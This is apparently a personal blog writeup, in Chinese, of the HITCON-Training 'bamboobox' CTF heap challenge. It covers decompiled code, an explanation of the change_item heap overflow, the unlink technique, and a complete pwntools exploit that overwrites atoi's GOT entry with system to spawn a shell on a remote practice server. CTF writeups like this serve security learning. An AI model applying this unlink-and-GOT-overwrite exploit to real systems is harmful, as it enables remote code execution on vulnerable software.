hitcon-training-unlink writeup

Checksec

# zer0ptr @ DESKTOP-FHEMUHT in ~/CTF-Pwn/heap/unlink/hitcontraining_unlink [15:14:56]
$ checksec bamboobox
[*] '/home/zer0ptr/CTF-Pwn/heap/unlink/hitcontraining_unlink/bamboobox'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

NO PIE

分析

main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  void (**v4)(void); // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  v4 = (void (**)(void))malloc(0x10u);
  *v4 = (void (*)(void))hello_message;
  v4[1] = (void (*)(void))goodbye_message;
  (*v4)();
  while ( 1 )
  {
    menu();
    read(0, buf, 8u);
    switch ( atoi(buf) )
    {
      case 1:
        show_item();
        break;
      case 2:
        add_item();
        break;
      case 3:
        change_item();
        break;
      case 4:
        remove_item();
        break;
      case 5:
        v4[1]();
        exit(0);
      default:
        puts("invaild choice!!!");
        break;
    }
  }
}

然后ida反编译查看main函数,各功能一目了然。注意到每次输入choice后,都要通过atoi()函数来将其转为整型,这是漏洞利用的关键之一;

show_item:

int show_item()
{
  int i; // [rsp+Ch] [rbp-4h]

  if ( !num )
    return puts("No item in the box");
  for ( i = 0; i <= 99; ++i )
  {
    if ( *((_QWORD *)&unk_6020C8 + 2 * i) )
      printf("%d : %s", i, *((const char **)&unk_6020C8 + 2 * i));
  }
  return puts(byte_401089);
}
  1. 这里存在offbyone,但对于考察unlink的题目一般不会利用;
  2. &unk_6020c8位于bss节,是items的基址

add_item:

__int64 add_item()
{
  int i; // [rsp+4h] [rbp-1Ch]
  int v2; // [rsp+8h] [rbp-18h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( num > 99 )
  {
    puts("the box is full");
  }
  else
  {
    printf("Please enter the length of item name:");
    read(0, buf, 8u);
    v2 = atoi(buf);
    if ( !v2 )
    {
      puts("invaild length");
      return 0;
    }
    for ( i = 0; i <= 99; ++i )
    {
      if ( !*((_QWORD *)&unk_6020C8 + 2 * i) )
      {
        *((_DWORD *)&itemlist + 4 * i) = v2;
        *((_QWORD *)&unk_6020C8 + 2 * i) = malloc(v2);
        printf("Please enter the name of item:");
        *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * i) + (int)read(0, *((void **)&unk_6020C8 + 2 * i), v2)) = 0;
        ++num;
        return 0;
      }
    }
  }
  return 0;
}

add_item函数中,先输入一个长度v2,然后遍历bss中的空间(基址为0x6020c8),如果有空,则申请一块v2大小的chunk(这里所说的chunk大小不包括chunk头),将其地址写入bss。再输入一个字符串,将前v2个字节作为item名称写到chunk中。line 30的read函数返回实际读取的字节数,加上该字符串基址就是字符串的末尾,结尾置0表示字符串结束;

change_item:

unsigned __int64 change_item()
{
  int v1; // [rsp+4h] [rbp-2Ch]
  int v2; // [rsp+8h] [rbp-28h]
  char buf[16]; // [rsp+10h] [rbp-20h] BYREF
  char nptr[8]; // [rsp+20h] [rbp-10h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8u);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      printf("Please enter the length of item name:");
      read(0, nptr, 8u);
      v2 = atoi(nptr);
      printf("Please enter the new name of the item:");
      *(_BYTE *)(*((_QWORD *)&unk_6020C8 + 2 * v1) + (int)read(0, *((void **)&unk_6020C8 + 2 * v1), v2)) = 0;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v5;
}

change_item函数负责给编号为v1的item改名,方法和add_item中完全一致。这也是堆溢出所在,因为我们输入的length如果超过该chunk的大小,就可以溢出到其他chunk中;

remove_item:

unsigned __int64 remove_item()
{
  int v1; // [rsp+Ch] [rbp-14h]
  char buf[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( num )
  {
    printf("Please enter the index of item:");
    read(0, buf, 8u);
    v1 = atoi(buf);
    if ( *((_QWORD *)&unk_6020C8 + 2 * v1) )
    {
      free(*((void **)&unk_6020C8 + 2 * v1));
      *((_QWORD *)&unk_6020C8 + 2 * v1) = 0;
      *((_DWORD *)&itemlist + 4 * v1) = 0;
      puts("remove successful!!");
      --num;
    }
    else
    {
      puts("invaild index");
    }
  }
  else
  {
    puts("No item in the box");
  }
  return __readfsqword(0x28u) ^ v3;
}

这个函数中存在free()功能。

之后按照如下思路:

  1. 堆布局
  2. 伪造 fake chunk
  3. fd/bk = ptr-0x18/ptr-0x10
  4. 修改 next chunk 的 prev_size/size
  5. unlink 写全局指针
  6. 写 GOT 表项
  7. 先 leak 后 getshell

给一下自己的一些辅助学习方法:

Unlink过程

  1. FD = 0x2000 (fake_chunk.fd)
  2. BK = 0x2008 (fake_chunk.bk)
  3. FD->bk = BK → *(0x2000 + 0x18 = 0x2018) = 0x2008
  4. BK->fd = FD → *(0x2008 + 0x10 = 0x2018) = 0x2000
  5. 最终: 0x2018 = 0x2000 (itemlist[0]被修改)

EXP

# -*- coding: utf-8 -*-

from pwn import *
from LibcSearcher import LibcSearcher
from time import sleep
import sys
context.arch = 'amd64'
context.log_level = "debug"


# io = process("./bamboobox")
io = remote('node5.buuoj.cn', 29958)

elf = ELF("./bamboobox")

def DEBUG():
    raw_input("DEBUG: ")
    gdb.attach(io)

def show():
    io.sendlineafter(b":", b"1")

def add(length, name):
    io.sendlineafter(b":", b"2")
    io.sendlineafter(b":", str(length).encode())
    io.sendafter(b":", name)

def change(idx, length, name):
    io.sendlineafter(b":", b"3")
    io.sendlineafter(b":", str(idx).encode())
    io.sendlineafter(b":", str(length).encode())
    io.sendafter(b":", name)

def remove(idx):
    io.sendlineafter(b":", b"4")
    io.sendlineafter(b":", str(idx).encode())

def exit():
    io.sendlineafter(b":", b"5")

if __name__ == "__main__":
    add(0x40, b'0' * 8)
    add(0x80, b'1' * 8)
    add(0x40, b'2' * 8)
    ptr = 0x6020c8

    fakeChunk = flat([0, 0x41, ptr - 0x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90])
    change(0, 0x80, fakeChunk)
    remove(1)
    payload = flat([0, 0, 0x40, elf.got['atoi']])
    change(0, 0x80, payload)
    show()
    
    # 泄露atoi地址
    atoi_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
    success("atoi_addr -> {:#x}".format(atoi_addr))
    
    # 使用LibcSearcher查找libc版本
    libc = LibcSearcher('atoi', atoi_addr)
    libc_base = atoi_addr - libc.dump('atoi')
    system_addr = libc_base + libc.dump('system')
    
    success("libc_base -> {:#x}".format(libc_base))
    success("system_addr -> {:#x}".format(system_addr))
    
    pause()

    change(0, 0x8, p64(system_addr))
    io.sendline(b'$0')

    io.interactive()
    io.close()

hitcon-training-unlink writeup
https://zer0ptr.github.io/2026/02/14/hitcon-training-unlink/
Author
zer0ptr
Posted on
February 14, 2026
Licensed under